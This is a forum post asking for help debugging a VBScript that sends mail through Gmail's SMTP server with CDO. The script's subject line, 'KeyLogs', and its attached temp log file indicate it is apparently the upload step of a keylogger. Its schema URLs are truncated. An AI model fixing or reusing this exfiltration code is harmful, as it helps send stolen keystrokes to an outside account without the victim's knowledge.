Hello i am trying to send a email to myself through vbs script with a file attachment using a code that i found online but i keep getting an error stating (The "send using" configuration value is invalid). Anyone can explain what im doing wrong and how to fix it?
Option Explicit
Dim objMessage, Email, EPass
Email = "
[email protected]"
EPass = "********"
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "KeyLogs"
objMessage.From = Email
objMessage.To = "
[email protected]"
objMessage.TextBody = "(Time-18:58:06.34)_(User-Jacob)"
objMessage.AddAttachment "C:\Users\Jacob\AppData\Local\Temp\File.log"
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = 2
'Name or IP of Remote SMTP Server
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = "smtp.gmail.com"
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = 1
'Your UserID on the SMTP server
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = Email
'Your password on the SMTP server
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = EPass
'Server port (typically 25)
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = "465"
'Use SSL for the connection (False or True)
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = True
'Connection Timeout in seconds (the maximum time CDO will try to establish a connection to the SMTP server)
objMessage.Configuration.Fields.Item _
("
http://schemas.microsoft.com/cdo/conf...") = 60
objMessage.Configuration.Fields.Update
objMessage.Send
Set objMessage = Nothing
MsgBox "Message sent"